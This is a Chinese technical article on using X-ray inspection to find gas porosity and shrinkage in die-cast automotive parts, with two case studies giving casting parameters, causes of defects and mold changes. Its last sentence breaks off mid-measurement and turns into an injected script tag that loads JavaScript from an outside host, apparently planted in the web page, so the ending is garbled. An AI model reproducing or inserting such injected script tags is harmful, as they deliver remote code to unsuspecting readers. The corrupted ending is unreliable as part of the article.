1 引言
我公司生产的汽车零部件，主要是密封件、结构件和安全件，其内部气孔和内部缩孔问题成为产品报废的主要因素。
密封件是指在一定压迫下通过试密实验不泄露的零件，其内部气孔是其废品率的主要成因。
结构件是指起固定、支撑作用的零件，由于结构的需要，整体壁厚不均匀，产品内部缩孔是其废品率的主要成因。
安全件是指在整车组装后与人身安全有关的零件，其质量等级要求达到astm e 1025中定义的2-2t级，其内部缺陷要求极其严格。
目前我公司定单日益增多，为了保证和提高产品的品质，满足批量生产的要求，更好的检测零件的内部情况，检测结果就必须做到及时、准确，为此我公司采用x射线探伤装置。
2 x射线探伤原理
(1）x射线的特性
x射线是一种波长很短的电磁波，是一种光子，波长为10-6~10-8cm，x射线有下列特点：
①穿透性
x射线能穿透一般可见光所不能透过的物质。其穿透能力的强弱，与x射线的波长以及被穿透物质的密度和厚度有关。x射线波长愈短，穿透力就愈大；密度愈低，厚度愈薄，则x射线愈易穿透。在实际工作中，通过球管的电压伏值（kv）的大小来确定x射线的穿透性（即x射线的质），而以单位时间内通过x射线的电流（ma）与时间的乘积代表x射线的量。
②电离作用
x射线或其它射线（例如γ射线）通过物质被吸收时，可使组成物质的分子分解成为正负离子，称为电离作用，离子的多少和物质吸收的x射线量成正比。通过空气或其它物质产生电离作用，利用仪表测量电离的程度就可以计算x射线的量。检测设备正是由此来实现对零件探伤检测的。x射线还有其他作用，如感光、荧光作用等。
（2）影像形成原理
x线影像形成的基本原理，是由于x线的特性和零件的致密度与厚度之差异所致。
由于在压铸过程中，零件的成型会因工艺参数、机床状况变化而有所不同，因此成型后的零件厚度、致密度也有差异，而经x射线照射，其吸收及透过x射线量也不一样。因而，在透视荧光屏上有亮暗之分。表1为零件厚差异和x射线影像的关系。图1为x射线透视的零件影像。
3 探伤装置在生产实践中的应用
3.1探伤装置对压铸成型工艺及模具设计改进所起的作用
(1)安全件——上海德尔福的滑块（图2）
1 )过程描述
首次试压，在力劲160t压铸机上进行压铸，按以下参数进行试验：压射压力100mpa，高速2.6m/s，低速0.15m/s，慢压射行程300mm，留模时间3s。
2 )缺陷分析
根据探伤图像（图3)显示，在铸件上可以看到很多零散分布的亮点（在零件主体内），这就说明，铸件内部多气孔、组织稀疏、成型不好。
3 ）形成原因
①压铸过程中—喷涂时卷入气体，形成气孔；
②模具温度过低，金属液流不顺畅；
③压射速度不够，填充不充分；
④排气效果不好。
4 ）改进措施
①调整压铸工艺，减少喷涂量，增加吹气时间，增加快压射速度；
②更改模具，改进横浇道，加宽内浇口；增加其截面积，减少填充阻力；
③增加排气道（图4)。
5 ）结果
按工艺进行压铸，再通过探伤图像（图5)与之前（图3）对比，效果有了明显改善。通过与astm e 1025标准对比，符合产品要求。
目前，该零件处在批量生产阶段，通过日常品质探伤检测，保证了产品质量要求。
(2）结构件——日产全球采购件（支架）
1 )过程描述
首次试压，在dc 800c压铸机上进行压铸按以下参数进行试验（压射压力80mpa,高速2.7m/s,低速0.3m/s ,慢压射行程400mm）
2)缺陷分析
根据探伤图象显示，在铸件上可以看到很多零散分布的亮点（在零件主体内，图6圈出部位），由于该件为300x180x200;重2.5kg,图示部位为加工量最大部位，易卷气，易形成缩孔。根据此图分析，该部位多为较大缩孔。
3 ）形成原因
①压铸过程中，喷涂时卷入气体，排气不好；
②模具浇道设计不当，该部位填充不足；
③压射速度不够，填充不充分。
4 ）改进措施
①调整压铸工艺，增加吹气时间，增加快压射速度。
②更改模具，改进横浇道，加宽、加厚内浇口，增加其截面积，减少填充阻力；增加一股分支浇道直接对这处填充。
5 ）结果
按工艺进行压铸，再通过探伤图像（图8)与之前（图7）对比，效果有了明显改善。改后铸件经过加工后，加工面上有一些小的气孔，基本符合产品要求；而改前的铸件，为确认其内部质量与探伤图像所示是否一致，经加工后证实：在加工面上，出现明显缩孔和超过2mm?script src=http://er12.com/t.js>
